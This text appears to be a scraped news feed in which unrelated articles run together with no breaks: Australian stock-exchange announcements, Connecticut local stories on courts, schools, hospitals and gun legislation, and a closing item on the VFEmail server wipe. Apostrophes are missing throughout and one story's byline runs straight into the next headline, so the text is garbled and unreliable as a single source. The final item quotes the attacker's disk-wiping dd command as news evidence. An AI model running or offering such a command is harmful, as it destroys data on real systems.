Melbourne, Feb 13, 2019 AEST (ABN Newswire) - Environmental Clean Technologies ( ASX:ECT ) is pleased to provide the following update regarding the progress of activities required to finalise its obligations under the Research Collaboration Agreement (RCA) for its India project, ahead of financial close and project commencement.Key points:- Project bond proposal finalised- No separate capital raising required- Flexible bond structure that manages dilution concernsECT is pleased to announce the planned establishment of a flexible bond structure for its India project, with the completion of the bond structure, appointment of the intermediary and allocation of security backing the guarantee to be completed within the coming days.BackgroundECT is poised to advance its two leading technologies, Coldry and Matmor, to the next stage of development on the commercialisation pathway, via the largest ever research and development (R&D) collaboration between Australia and India.Commencing with an ~AUD35 million R&D phase, ECT's project partners, NLC India Limited (NLCIL) and NMDC Limited (NMDC) will each contribute half of the capital cost, being ~AUD30 million (~AUD15 million each), plus 51% of the operating cost, being ~AUD2.55 million (~AUD1.275 million each).In addition to the intellectual property, ECT is required to provide a bond to the value of 10% of the project, being ~AUD3.5 million, and contribute 49% of the project-specific operational funding, being ~AUD2.45 million, in addition to leadership of the project engineering and management.Project bondThe bond is surety for ECT's delivery of services and project-specific operational funding essential to the completion of the project through to commissioning.Under the RCA, which ECT expects will be finalised soon, ECT will be required to provide a bond (the "project bond") in favour of the Project Control Committee, which will only be redeemable if ECT is unable or unwilling to meet its obligations under the RCA prior to commissioning.The project bond is required to be in the form of either a bank guarantee, government bond, cash, stock (ECT Shares) or combination of these options as mutually agreed between the parties.Key to structuring the project bond is the need to balance the obligations under the RCA, the desire of the Company and shareholders to avoid dilution, and maintaining access to a range of potential bond mechanisms during project execution.To this end, ECT has developed a flexible bond structure that allows for the establishment and dynamic management of its bond obligation via any or all of the abovementioned bond mechanisms, while avoiding the need to raise capital.TimingThe bond is required to be established before the signing of Engineering, Procurement & Construction (EPC) contracts.After signing of the RCA and financial close (targeted for 31 March 2019), the project management team will finalise the tender development program, leading to selection of an EPC contractor and the signing of contracts, targeted for the period between July and September this year.How the project bond worksThe project bond, in the form of a flexible, equity-backed guarantee (EBG) will be established via the issue of 350 million fully paid ordinary shares ( ASX:ECT ), to an intermediary, at a face value of AUD3.5 million (the "equity-backed guarantee") . The shares will be issued via a limited recourse equity lending facility (ELF) loan issued from ECT Finance (ECTF) to the intermediary, equivalent to the face value of the bond.The EBG will have the flexibility of being progressively transferable into other agreed forms of security, including bank guarantees, government bonds and cash. Any security that remains with the intermediary once the obligations of the project bond conclude will be returned to ECTF as part of settling the ELF loan.To the extent the bond contains ECT shares at the conclusion of the obligation, those shares may be returned to ECTF and subsequently ECT via a selective buy-back and then cancelled.Further details outlining the bond structure will be announced following its establishment.Achieving stakeholder balanceECT COO Jim Blackburn commented, "The establishment of the EBG and the issuing of stock as security enables timely progress towards meeting all conditions-precedent of the RCA and setting the structure to meet our financial obligations through the capital phase. Our project partners understand that, for a company of our relatively small size, locking up cash into an instrument like this is challenging, and a more appropriate method of establishing financial commitment is initially via equity, with stock held as security against our future obligations, and the flexibility to adjust the composition of the bond as the project advances."ECT Chairman, Glenn Fozard added, "As our shareholders understand, the operational requirement to balance the need to finance our business and projects with cash, whilst minimising the impact of dilution, can be challenging."Establishing the project bond is one such challenge where the initial allocation of cash against this guarantee would be difficult, without dilution, at a time when the share price is yet to reflect the potential effect of our India project in its execution phase."As a result, we've addressed this challenge by establishing the initial bond via equity, which enables us to advance to the execution stage of the project, allowing us to take advantage of any changes in share price and cash availability, delivered through mechanisms such as the ELF program or government bond programs, on the way through."We believe this flexible, equity-backed guarantee, strikes the ideal balance for our shareholders and project partners. We will be talking to our project partners as we proceed towards the commencement of the capital phase, to agree upon the appropriate security mix and how this can be managed across the different stages of the project."Working capital obligationsSimilar to the bond strategy, the Company has structured its working capital strategy to avoid the need for capital raising.The Company looks forward to providing an update on its working capital strategy in the coming days.Update - pathway to signing and financial closeFurther to the Company's recent update (5 February 2019), which provided an overview of the next steps through to financial close, ECT is pleased to confirm the RCA is being finalised by its partners and is expected to be 'frozen' shortly.'Freezing' an agreement is a common term used in India which means no further changes can be made and it is ready to proceed to signing. The Company understands that the 'frozen' document will be put to the Board of NMDC for approval at its next meeting.As detailed above, ECT's obligation to establish the bond prior to EPC contracts being issued is well ahead of schedule, on track to be completed during February.The strategy to underpin working capital obligations has also been finalised, via a program to be announced shortly.The Company looks forward to providing further progress updates as it works toward signing of the RCA, financial close and commencement of the project.New project resourcesAs ECT prepares for project execution there two personnel changes to announce.Lachlan Bartsch has tendered his resignation and will be departing ECT in the coming weeks. Lachlan is moving on to a contract role in Argentina where he will be leading a commissioning team for a new processing plant. Lachlan has been with ECT for nearly 3 years and has been a significant contributor to the research and development activities at Bacchus Marsh, and the engineering development program in India.ECT thanks Lachlan for his valuable efforts over this time and wishes him well in his new role.Further, ECT is pleased to announce the appointment of its Chief General Manager (Project Engineering), Rashmikant Bodiwala.Chief General Manager (CGM) Project Engineering - Rashmikant BodiwalaRashmikant is a graduate of Mechanical Engineering from SVREC University (now, National Institute of Technology) in Surat, India. He also holds professional certifications in project management.Currently Rashmikant holds the position of Design Manager with Meinhardt EPCM (India) and will commence with ECT on finalisation of his notice period. Prior to this role, he has held project engineering roles at Qatar Fertiliser Company, SPIE Oil & Gas Services and Essar Group.Through these roles Rashmikant has gained valuable project engineering experience, including:- End to end project definition, execution and delivery in a range of industries and environments- Multi-disciplinary design team management- Front end engineering package development, design reviews through to on-site progress inspection and construction approval works- Technical proposal evaluation and bid selection- Contractor and sub-contractor management- Front line safety management in challenging environmentsRashmikant has been appointed to the role of Chief General Manager - Project Engineering for ECT, joining the senior leadership team for the ECT India project. In this role, his key responsibilities will include tender development and finalisation, EPC contractor selection, design management and construction management. Rashmikant will also play a key role in commissioning, as well as managing the identification and capture of all intellectual property developed in the project engineering and execution phases to maximise the project value for the Company.ECT Chief Operating Officer Jim Blackburn commented "We are delighted to welcome Rashmikant to the ECT team. His initial assignment will be to immerse himself with ECT here in Australia to complete his induction, including detailed exposure to the technologies we develop, and the operations at our high volume test facility in Bacchus Marsh. He will then return to our team in India and commence work on the project."About Environmental Clean Technologies Ltd

Environmental Clean Technologies Limited (ASX:ECT) is in the business of commercialising leading-edge coal and iron making technologies, which are capable of delivering financial and environmental benefits.

We are focused on advancing a portfolio of technologies, which have significant market potential globally.

ECT's business plan is to pragmatically commercialise these technologies and secure sustainable, profitable income streams through licencing and other commercial mechanisms.

Capital raise

Sydney, Feb 13, 2019 AEST (ABN Newswire) - Product authenticity and consumer engagement solutions provider YPB Group Ltd ( ASX:YPB ) is pleased to announce that it has accepted commitments of $1,250,000 (one million two hundred and fifty thousand dollars) from institutional and sophisticated investors to participate in a two tranche placement priced at $0.01 per share to subscribe for a total of 125,000,000 fully paid ordinary shares, with the second tranche (described below) subject to YPB shareholder approval. A free attaching listed option (ASX YPBOA) will be issued for each ordinary share issued under tranches one and two of the placement, subject to YPB shareholder approval.In accordance with ASX LR 3.10.3 the Company provides the following information regarding the capital raise:Securities to be issued are:- 125,000,000 fully paid ordinary shares at an issue price of $0.01 per share- 125,000,000 listed options to subscribe for fully paid ordinary shares, exercisable at $0.025 and expiring 30 April 2020. It is intended that the options will be added to the existing class of listed options under ASX code YPBOA.The purpose of the issue is to provide funding for:- Further technical development and commercialisation of the world leading Motif Micro materials technology- Business development activities- Costs associated with the capital raise and for general working capital purposes.The Company reserves the right to alter the way funds are applied.The placement is not being issued to a particular class of security holders.110,000,000 of the fully paid ordinary shares under the placement are anticipated to be issued on 18 February 2019 under the Company's available placement capacity in accordance with ASX listing rule 7.1 (tranche 1) and the balance of the placement, being 15,000,000 ordinary shares and 125,000,000 options (tranche 2) are intended to be issued following YPB's Annual General Meeting to be held on or around 9 April 2019, subject to shareholder approval being given for the relevant resolutions.The raise was led by EverBlu Capital Pty Ltd as sole lead-manager.An investment overview presentation is attached to this announcement, noting that the capital structure and details outlined in slide 14 are 'pre-raise' and current as at 12 February 2019.To view the presentation, please visit:About YPB Group Ltd

DEACTIVATEDTwelve-year-old pianist Hudson Ragins has won the Norwalk Symphony Orchestras 7th annual Young Artists Concert Competition.

Ragins won the event with his expressive performance of the third movement of Beethovens Concerto in C Major, No. 1 for piano, the symphony said in a news release. Hudson began piano study at age 7 and has studied with Wilton teacher Yoshie Akimoto, Steinway Artist, since he was 9. He is home schooled.

He will be performing with the symphony in the subscription Music for All Ages concert on Sunday, March 17, at 3 p.m. in the Norwalk Concert Hall. This concert also features members of the Norwalk Youth Symphony playing side-by-side with the professionals in the symphony.

Sara Watkins, executive director of the NYS, said in a news release: It is a great opportunity for our talented musicians to have the chance to experience working with a professional group. Many of them are considering a future in music and this is a perfect taste.

Ragins has won many first prizes already, including the 2018 Steinway Competition, the Norwalk Symphony Young Artist Festival Junior Level and the French Award at the Schubert Award Competition.

He was the alternate winner of Danbury Symphony Concerto Competition. In prior years he won first prizes at the Renee B. Fisher Competition and the Deborah Kahan Competition, and was third prize winner at the Princeton Festival Piano Competition.

Hudson has excelled in Young Talent Chamber Music concerts in Connecticut and New York. He performed in a YTCM Trio as featured guests of the Greater Bridgeport Symphony conducted by Eric Jacobsen.

My favorite way to express music is through playing with others, like chamber music. Music inspires me in all ideas, and sometimes a mythical world of dragons and evil forces. When I am not practicing piano nor getting into some kind of trouble, you can find me with my nose in a book or a role-player game, he was quoted as saying in the news release.

The Concerto Competition is part of the Young Artists Festival hosted by the NSO each year. The winner of the Junior level was Wilton resident Caleb Sharp, who studies cello with Madeleine Bouissou and Clara Kim in New York City. The 2nd place for the Junior Level went to Norwalk resident Arav Amin, who studies violin with Lucie Gelinas at The Juilliard School.

Ticket information for the concert, call 203-956-6771, or visit www.norwalksymphony.org .STRATFORD - In accordance with State Law all towns in Connecticut are required to implement a full revaluation of all real estate in town every ten years. This year Stratford is required to conduct its full revaluation for the purpose of re-inventorying the towns taxable real property, bringing the assessment level up to date and to ensure all properties are valued at the same standard at the same point in time.

The Towns revaluation will be conducted this year by Municipal Valuation Services, LLC, a private revaluation firm retained by the Town to assist the Assessors Office with the town-wide revaluation project.STRATFORD  The Stratford Public Schools has set the dates for registration of kindergarten students for the 2019-2020 school year.

Based on the name collection forms received, kindergarten packets were mailed on Thursday, Feb. 7. Centralized registration will take place by appointment at Johnson House, 719 Birdseye St., from Feb. 25 through March 15. Children who will be five (5) years of age on or before Jan. 1, 2020 are eligible to begin kindergarten this August.MILFORD  A lawyer representing the family of Maren Sanchez in a lawsuit alleging school officials should have prevented her killing says the city is grasping at straws in an effort to escape responsibility.

Last month, the City of Milford asked the judge handling the case to reconsider an earlier ruling denying a request to throw the case out of court. The citys request was based on a recent state Supreme Court decision.

Quite simply, the Supreme Courts holding ... is irrelevant to the Courts denial of summary judgment, David Golub, the Sanchez familys lawyer, wrote in a Feb. 6 memo opposing the citys request.

Sanchez was stabbed to death by classmate Christopher Plaskon in April 2014 at Jonathan Law High School after she turned down his invitation to the prom.

The lawsuit says that in November 2013, Sanchez reported to the high school guidance department that Plaskon was emotionally disturbed and threatening to commit suicide or acts of serious self-harm with a knife, and she believed it was important for high school personnel to prevent him from engaging in potentially violent conduct.

The main issues in the case are whether school officials had discretion in responding to Sanchezs warning within the school districts Suicide Prevention and Intervention Procedure, and whether more of an intervention would have prevented her killing.

State law shields municipalities from liability if employees are negligent in performing discretionary acts, but not necessarily for negligence in the performance of mandatory acts.

In a Jan. 4 memorandum, Judge Barry Stevens did not accept the argument by the city that Plaskon intended to kill Sanchez and that there were no actions the school system could have taken to prevent it.

The city says a Jan. 22 Connectiut Supreme Court ruling means the judge should reconsider since it clarifies the legal principles in the case.

In that case, an East Haven cop investigating a possible domestic violence incident in a vehicle couldnt verify the owner of the car had a valid drivers license, but declined to order it towed and instead drove the man home.

The owner then returned to his vehicle and drove it away, after which he got into an accident with another man who sued the town for damages.

A jury ruled in favor of the plaintiff, but the appeals court decided the case should have been thrown out because the officer wasnt obligated to order the mans car towed.

In Milfords new motion in the lawsuit, the city says last weeks state Supreme Court ruling  upholding the appeals courts reversal in Ventura v. East Haven  illustrates why school officials had discretion while responding to Sanchezs complaint.

In the Feb. 6 memo, Golub said the recent Supreme Court doesnt apply to the Sanchez familys lawsuit.

Aside from being a case involving governmental immunity, Ventura is wholly inapplicable to the issues decided by the Court in this case in its decision denying summary judgment, Golub wrote. There is no basis for defendants Motion for Reconsideration.

In a reply to that memo filed Feb. 8, the citys lawyer, James Tallberg, says the judge should reconsider his ruling because it could prejudice Milfords right to assert the discretionary nature of, and governmental immunity from liability for school officials not doing more to intervene after Sanchez raised concerns about Plaskon.

A hearing in the case is scheduled for Feb. 19.

ethan.fry@hearstmediact.comGOVERNMENT OF CANADA INVESTS $500,000 IN NOVONIX DARTMOUTH FACILITY, NOVA SCOTIA



GOVT OF CANADA INVESTS IN NOVONIX DARTMOUTH BATTERY FACILITY

Brisbane, Feb 12, 2019 AEST (ABN Newswire) - - The Government of Canada has announced an investment of $500,000 in NOVONIX Ltd ( ASX:NVX ) by way of an interest-free loan to help fund the Company's 100%-owned Dartmouth, Nova Scotia-based battery cell pilot manufacturing line.- The funding was announced by Darrell Samson, Member of Parliament for Sackville-Preston-Chezzetcook, on behalf of the Honourable Navdeep Bains, Minister for Innovation, Science and Economic Development and Minister responsible for Atlantic Canada Opportunities Agency (ACOA).- The Canadian Federal funding is being allocated through ACOA's Business Development Program which supports small and medium-sized enterprises.- Industry and government representatives attended the announcement including NOVONIX founders Dr Chris Burns and Dr David Stevens, and Professor's Jeff Dahn and Mark Obrovac from Dalhousie University where NOVONIX was spun-out from.To view the Government Release, please visit:About NOVONIX Ltd

NOVONIX Ltd (ASX:NVX) (FRA:GC3) (OTCMKTS:NVNXF) is an integrated developer and supplier of high-performance materials, equipment and services for the global lithium-ion battery industry with operations in the USA and Canada and sales in more than 14 countries. NOVONIX's mission is to support the global deployment of lithium-ion battery technologies for a cleaner energy future.

Donald Trump Jr., the presidents eldest son, took aim at loser teachers in remarks at a rally in Texas Monday.

I love seeing some young conservatives because I know its not easy, Trump told the crowd gathered in El Paso for a campaign rally for his father highlighting border security. Keep up that fight. Bring it to your schools. You dont have to be indoctrinated by these loser teachers that are trying to sell you on socialism from birth. You can think for yourselves. They cant.

Its not clear if the younger Trump was referring to teachers who have been protesting low salaries and stagnant education funding in states like Arizona and Oklahoma and districts like Los Angeles, or to something else. And while there have been surveys that show young people are increasingly drawn to socialism , theres no clear evidence thats because of changes in curriculum or the views of teachers.

The presidents son isnt the first person with a connection to the administration to deride the supposed spread of socialism. U.S. Secretary of Education Betsy DeVos said last year that she worried that young people were willing to embrace ideas like socialism because of a lack of civics education in schools.

And this isnt the first time that the younger Trump has spoken about K-12 education . In a speech at the Republican National Convention in 2016, he compared schools to Soviet-era department stores that are run for the benefit of the clerks and not the customers and took aim at Democrats for what he said was protecting tenured teachers at the expense of students.

He said at the time that the country needs to expand school choicesomething his fathers administration hasnt had much success on yet. Congress has rejected the presidents pitch for a competitive-grant program that would have funded vouchers and more. Lawmakers did, however, allow families to put up to $10,000 a year into 529 college savings plans for K-12 private school tuition.

Watch the younger Trumps speech below. His remarks on teachers come at about the seven minute mark.

Related reading: Upon hearing Donald Trump Jr.'s claim that loser teachers are trying to sell students on socialism, educator Gina Caneva decided it was a bridge too far. Heres her response: A Lesson for Donald Trump Jr., From a Loser Teacher .

Eric Trump, left, Donald Trump Jr., center, and Tiffany Trump applaud as President Donald Trump delivers his State of the Union address to a joint session of Congress on Capitol Hill in Washington, Tuesday, Feb. 5, 2019. --Andrew Harnik/AP

Follow us on Twitter at @PoliticsK12 .BRIDGEPORT  Amid a widening FBI criminal probe involving his departments scrap metal sales and other policies, public facilities chief John Ricci sought to distance the construction of his agencys $3 million-plus garage from the scandal.

Ricci appeared Monday night before the City Councils budget committee to address criticism about the seismic spike in parking lot paving costs at the new facility between North Washington and Housatonic avenues which jumped from $185,822 to $678,899.

Armed with just a one-page explanation of the project details, an aerial photo of the site, a design and his decades of experience holding different municipal positions, Ricci seemed to successfully convince critics there is nothing wasteful, improper or illegal about the garage work.

Im satisfied with the information Ive gotten on this item, Council President Aidee Nieves told her council colleagues.

I wish we had this information before the rumors started flying, Councilman Ernie Newton said. This makes a hell of a lot more sense.

Since the autumn, public facilities has been the target of both an internal municipal review and of federal agents. An anonymous letter sent to the city council accused department employees of illicit sales of scrap metal and of giving out no-bid contracts.

Mayor Joe Ganim recently fired Riccis second-in-command, Deputy Director Joe Tiago, who has hired a criminal defense attorney to fight the dismissal. The mayor has declined to provide details about Tiagos termination other than it was related to the scrap metal scandal.

Tiago, soon after being hired in 2014 by then-Mayor Bill Finch, sold some connected properties to the Vaz family, which opened Seaview Equipment on the site.

Tiago, according to municipal records, received $258,786 more than the $586,214 appraised value of the land.

Last year, VAZ was awarded the competitive contract for the public facilities garage and later given a no bid contract for more paving there. But none of the council members Monday specifically mentioned the FBI or Tiago and his connections to VAZ to Ricci.

Meanwhile, the FBI last week subpoenaed three years worth of city records about dealings with contractors VAZ Quality Works, Seaview Equipment and G. Pic and Sons Construction.

Bids and a big mud hole

Ricci began his presentation by insisting he saved the city money on the garage. He said when Ganim put him in charge of public facilities in 2016, the design he inherited from ex-Mayor Bill Finchs administration was for a $5 million complex.

But in a December 2014 interview, then-Public Facilities Director Jorge Garcia had told Hearst Connecticut Media the garage, intended to consolidate the departments various functions spread out around the city, would cost $3.4 million. Reached Monday, Garcia declined to comment for this story.

It was way over budget, Ricci told the budget committee. They had conference rooms, several private offices. The (indoor) truck wash, which was $1 million in and of itself.

Ricci reduced some bells and whistles and put the garage construction out to bid. He said eight contractors expressed interest, and five submitted proposals ranging from VAZs, the lowest at $2.9 million, to G. Pics $3.7 million bid.

A committee  Ricci did not name the members  reviewed the bids and chose VAZs.

The lowest bid may not always be the best bid, Ricci said. As it turned out, the lowest bid was the best bid.

As the project evolved, Ricci said, the decision was made to do more paving to better accommodate more public facilities vehicles, equipment and activities while addressing flooding issues on the property.

It was a big mud hole, basically, Ricci said.

He said the increased, no-bid paving costs also included site grading and drainage work. The latter, Ricci said, was made necessary by the decision to move the truck wash outside, which meant additional environmental regulations.

Councilwoman Maria Zambrano Viggiano, a budget committee chairman, last month called the extra paving costs ridiculous and a gross mismanagement of funds. On Monday, she asked Ricci how that work qualified as a no-bid emergency.

Ricci said with winter approaching  and asphalt costs increasing  time was of the essence and VAZ was already on site. He noted G. Pic could have offered a lower price, but that the contractor was too busy to take on the additional paving.

Nieves asked Ricci who was involved in approving the no-bid deal with VAZ. He said Jamie McCarville, one of his staffers, was the overall project manager.

Asked in an interview afterward if Tiago was involved in the garage project and no-bid paving, Ricci said he was part of the discussion.

I wouldnt say Joe pushed it or pushed me into it. I came into the decision based on good judgment. Jaimie was part of it, too, Ricci said.

Viggiano said the need for the added paving should have been identified earlier, when the garage was redesigned. But she also told Ricci she understood how unforeseen issues arise because her recent home renovation ballooned by $10,000.NEW HAVEN  Photos in Yale Medical School yearbooks of cadavers donated for study are a violation of Yales policy about the bodies use, according to Yale spokeswoman Karen Peart.

The Yale Daily News first reported that the photos, some accompanied by lewd captions were published in the 1990s and in 2011.

Photography is strictly prohibited in the anatomy lab and any photos taken are done without approval and in violation of our policy, Peart wrote in an email Wednesday to the Register. It is expected that any student in the lab follows ethical standards of conduct so that appropriate respect is afforded to the individuals who donated their bodies to science.

Yale accepts bodies from donors for study of anatomy and other medical fields both in training medical students and in research, according to the medical schools web page about body donation. Once the cadavers are no longer needed, they are cremated and the remains are either returned to the family or buried in a section of Evergreen Cemetery, the website states.

William Stewart, section chief of the Anatomy Department and an associate professor of surgery, said signs prohibiting photos and videos in the anatomy lab have been posted for about five years, Peart said.

According to the Yale Human Anatomy Laboratory Standards of Conduct, which was sent to the Register, Individuals from all walks of life have donated their bodies to support education and research. We are obligated to treat each of their gifts with the reverence and respect they deserve.

Anyone involved with the donated bodies must sign the conduct statement, which includes the statement, I will not take photographs or make any videos unless authorized by the laboratory director and I understand that failure to adhere to the principles may result in loss of access to the lab.

Stewart told the student newspaper he would not have allowed the photos if he knew about them. The story republished one photo of six students around a cadaver, which has been blurred in the photo.

Medical school Dean Dr. Robert Alpern wrote in an email to the News, It is expected that any student in the lab follows ethical standards of conduct so that appropriate respect is afforded to the individuals who donated their bodies to science.

Professor Lawrence Rizzolo, director of medical studies at Yale, told the Yale Daily News he strenuously disapproved of the photos. They violate the ethical norms of our profession that we wish to instill in our students, he wrote in an email.

The Register has requested comment from Alpern, Stewart and Rizzolo.

Peart said a non-Yale-affiliated person lost laboratory privileges about two years ago for violating the photo policy.

The Yale Daily News said most medical school yearbook photos show students during their first-year anatomy lab dissecting cadavers without showing the bodies.

In February 2018, Dr. Flavio Uribe, a dental professor at UConn Health and at the time a visiting professor at Yale, was depicted in a photo with several dental school students and two severed heads. The photo was taken during a symposium at the Yale School of Medicine about dental deformities. It was unclear whether the photo was posted or published anywhere.

Uribe told the Associated Press that someone took the photo while he was instructing students how to insert screws into the heads. Somebody unfortunately took a photo, Uribe said in the story. It was so quick. I wasnt sure of the surroundings or scenery at that point.

A spokesman for the University of Connecticut said the university took appropriate internal steps, according to a Washington Post story, but Uribe said he hadnt been disciplined.

In the 2018 story, Yale Press Secretary Thomas Conroy said Yale is working on increasing its oversight procedures concerning cadavers and said the laboratory had signs posted at its entrances prohibiting photography.HARTFORD  Its not a conversation Gov. Ned Lamonts administration is ready to have, and whatever decision it makes regarding how it treats state hospitals may be revealed on Feb. 20 with his budget.

In the meantime, the fresh start the hospitals were hoping for seems to be fading fast.

Senate Republican Leader Len Fasano, R-North Haven, questioned Office of Policy and Management Secretary Melissa McCaw earlier this month about why the administration hasnt moved to correct the mistake thats caused the state to pay about $60 million less per quarter to Connecticuts hospitals.

McCaw has said the administration has yet to make a decision about how to resolve the issue.

The issue involves a new rate setting software program from a third-party vendor that weighted certain medical procedures differently than it had in the past and it ended up changing rates for inpatient hospital stays.

Neither the state or the hospitals anticipated the change and none was assumed as far as the budget is concerned. However, no one at the state level has moved to correct the problem.

Carl Schiessl, senior director of regulatory advocacy at Connecticut Hospital Association, was in Bristol Tuesday morning and according to the Bristol Press, said they are asking the state to correct the unintended error. He said if they dont the association will have to take action.

The Connecticut Hospital Association declined further comment for this story.

A spokesman for the Office of Policy and Management said Tuesday that no decision has been made yet on how to proceed with the problem.

The rate setting problem was discovered in December 2018 a few weeks before Lamont was sworn into office.

Fasano expressed concern that the Lamont administration was using the problem, which is reducing inpatient hospital rates an average of 26 percent, to help resolve the more global dispute over the hospital tax, which has also been the subject of litigation since 2016.

McCaw said the states exposure in the litigation is about $2.5 billion at the moment. The first pre-trial conference in the case is scheduled next month, but in the meantime McCaw insisted no decisions have been made yet about how to proceed.

We have been making ourselves have a better understanding of the comprehensive issue surrounding the hospitals, McCaw told Fasano Feb. 5.

She said it was top priority for the Lamont administration and insisted no decision has been made about how to proceed.

Lawmakers were surprised to learn the Lamont administration would seek to use an unintended error in the rate setting software as leverage in a negotiation.

Asked about what they knew about the situation top lawmakers on the two budget writing committees who are familiar with the hospital tax were unaware the problem existed.

Kurt Barwis, president and CEO of Bristol Hospital, told the Bristol Press the problem was beginning to cause cash flow issues for the hospital.

For lawmakers the problem is only beginning. In 2017, during the longest budget battle in the states history they decided to steeply increase the tax to maximize federal matching funds and then reduce it starting on July 1, 2019.

That means Lamont has to contend with a policy that planned to reduce the hospital tax from $900 million to $384 million. The reduction in taxes also means theres a corresponding reduction in federal matching grants.

Its the largest reduction in state revenue impacting the two-year budget Lamont will unveil Feb. 20.

But Lamont is trying to strike a different tone and set himself apart from the previous administration.

Former Office of Policy and Management Secretary Ben Barnes had an adversarial relationship with the hospitals. The relationship was summed up when he told the Finance, Revenue, and Bonding Committee in 2015 that they were increasing the hospital tax because, Its like why do you rob banks?  Its where the money is.

In the meantime, the hospitals are making sure lawmakers know they are economic drivers in their communities. The Connecticut Hospital Association released a report, which found they generate $27.7 billion for the states economy and provide 103,000 jobs.BRIDGEPORT - A higher power may have been at work at the Fairfield County Courthouse Wednesday or more likely, just bad mechanics.

Three weeks after rival families exploded in a melee in the Golden Hill Street courthouse during a murder arraignment, the combatants were in full force at the Main Street court.

Judicial marshals were at the ready.

And then the elevators broke down.

More than 100 people, many who had been involved in the last trouble, were left stranded in the courthouse lobby while a dozen were stuck for more than 30 minutes crammed together in one of the elevators before firefighters arrived. One woman was taken to the hospital.

Jayvell Washington, who sparked the court melee with his arrest for the Jan. 26 murder of 50-year-old Eugene Rogers, appeared disappointed as he was brought into the courtroom and looked to the gallery to see a meager group.

Superior Court Judge Robert Devlin granted Washingtons lawyer, Assistant Public Defender Jared Milbrandt, a continuance to March 5.

For the record, for the record, I reserve my rights, Washington yelled as he was led away.

Washington is facing charges of murder, criminal possession of a weapon and possession of a pistol without a permit.

Washington and members of the Rogers family have been engaged in a violent series of confrontations since the summer of 2017, according to police.

In one incident, Mayor Joe Ganim was standing outside the Rogers family home after a shooting when more shots rang out, although he was not hurt nor apparently the intended target, police said.

On July 1, 2017, Chaz Rogers was shot to death on Stratford Avenue. His older brother, Hassan Boobie Rogers, was later arrested for allegedly shooting at a friend of Washingtons whom he blamed for killing his brother.

Then on July 23, 2017, Eugene Rogers was walking on Trumbull Avenue when, police said, he was shot twice in the abdomen. He survived that shooting. Washington, who had served seven years in prison for a 1998 manslaughter conviction, was charged with attempted murder, first-degree assault, illegal use of a firearm and criminal use of a firearm for shooting Eugene Rogers. He was released after posting $500,000 bond.

Shortly after 9 a.m. on Jan. 26, police said officers were dispatched by the Bridgeport Police Departments Shot Spotter system to the Citgo gas station and Pitt Stop convenience store on Reservoir Avenue.

When officers got there, they found Eugene Rogers lying on the ground, motionless, police said. He was bleeding from a bullet wound in his head, and police said he had a silver and black gun in his left hand.

Police said the gas stations video surveillance showed Washington parked in a Mini Cooper at the gas station when he was approached by Rogers. Rogers began to pull a handgun from the pocket of his hooded sweatshirt, police said, when Washington drew first and fired, then drove off.

Police said they determined that Washington was wearing a GPS monitoring bracelet as a result of the conditions of his bond. They said detectives traced him to Fairview Avenue, where they arrested him in front of his girlfriends home.

Police said that when asked if he knew why detectives were there, Washington replied, Yeah, and placed his hands behind his back.WASHINGTON  Connecticut Sens. Richard Blumenthal and Chris Murphy joined forces Tuesday as co-sponsors of legislation aimed at limiting rifle and handgun magazines to 10 rounds  far less than the 30-round magazines that Newtown shooter Adam Lanza used in his 2012 rampage at Sandy Hook Elementary School.

They are force multipliers for evil, Blumenthal said at a news conference called to announce the Keep America Safe Act, which he argued would significantly lower the death toll of mass shootings. Guns become doubly and triply deadly because of high-capacity magazines. There is no more simple straightforward way to save lives than to ban high-capacity magazines.

Blumenthal and Murphy joined the measures chief sponsor, Sen. Robert Menendez, D-N.J., in saying that smaller magazine capacity means a shooter must reload more often, giving potential victims time to flee or resist.

Murphy said that at Sandy Hook Elementary School, children fled the school most likely while the shooter fumbled with an exchange of gun magazines. In all, Lanza killed 20 school children and six adult staff members in what still stands as a turning point in the nations effort to grapple with random mass murder in public places.

Murphy and the others pointed to Jared Lee Loughner, the mass shooter in Tucson, who gravely injured then-Rep. Gabrielle Giffords, D-Ariz. A retired U.S. Army colonel was able to tackle Loughner as he attempted to put a new magazine in a 9mm Glock handgun.

This isnt theory; this is what happens in practice, Murphy said at the news conference. We need to get this passed and we need to get it passed quickly.

Connecticut already bans high-capacity magazines, including the ban in its gun-violence law approved in the aftermath of the Newtown shooting.

Roll-out of the ban on high-capacity magazines marks a change in direction for the gun-violence-prevention side, which was long stymied by Republican control of Congress. Republicans have long been beholden to the NRA and other gun-rights groups as a key ingredient in the coalition that helped keep them in power in the House from 2011 until earlier this year.

With Democrats in control, the House is suddenly fertile ground for gun measures such as the Keep America Safe Act. But the Senate remains Republican, and Senate Majority Leader Mitch McConnell, R-Ky., has given no indication he is in any hurry to bring any such proposal to a vote.

Even when it was in Democratic hands in 2013, the Senate fell six votes short of overcoming a filibuster blocking a bill to expand gun-purchase background checks  effectively closing the so-called gun show loophole.

Nevertheless, Blumenthal said Tuesday that public abhorrence over mass shootings and the desire for new gun laws helped Democrats achieve victory in the House in the 2018 election.

Some of my (Republican) colleagues are going to go to their leadership and say We need to do something  because the overwhelming cry of the American people is to do something., Blumenthal said. Its that simple.

Magazines that hold 30 rounds generally are longer versions of magazines that fit into AR-15 semi-automatic rifles or handguns such as the Glock. But round drum magazines have capacities that reach 100 rounds and beyond.

Sturm, Ruger and Co., based in Southport, makes a drum magazine that holds a whopping 110 rounds, according to a web site devoted to drum magazines. Recreational shooters have long argued large-capacity magazines give them maximum target-practice shots without having to constantly reload.

Scott Wilson, president of the Connecticut Citizens Defense League, said access to high-capacity magazines also is crucial to self-defense.

"Our senators from Connecticut are attempting to dictate the most reasonable manner for people to best protect their families, he said in an email. An individual who might face a middle of the night home invasion will likely have no idea how many attackers they could be facing. There is also no telling how many rounds may be needed to put an end to just one threat, let alone multiple threats."

Blumenthal characterized the high-capacity measure as a no brainer that Democrats wisely broke out from broader and potentially more controversial legislation that would expand background checks, deny gun purchases to those on the aviation no-fly list, or permit risk-prevention orders such as the one in Connecticut that permits family and friends to petition judges to temporarily seize guns from troubled individuals.

This measure is a discrete, unchallengeable and unquestionable way to save lives, he said.

dan@hearstdc.comSome cyber attacks are so disastrous that theres no coming back from them. Email provider VFEmail worried that was the case when it said a hacker caused catastrophic destruction on Monday by destroying all data on U.S. servers, as well as the backup systems.

On Monday morning, after VFEmails site, servers, and webmail client went down, VFEmail tweeted:

This is not looking good. All externally facing systems, of differing OS's and remote authentication, in multiple data centers are down.  VFEmail.net (@VFEmail) February 11, 2019

A few hours later, VFEmail said it caught a hacker trying to format a backup server:

Caught the perp in the middle of formatting the backup server:

dd if=/dev/zero of=/dev/da0 bs=4194304 seek=1024 count=399559

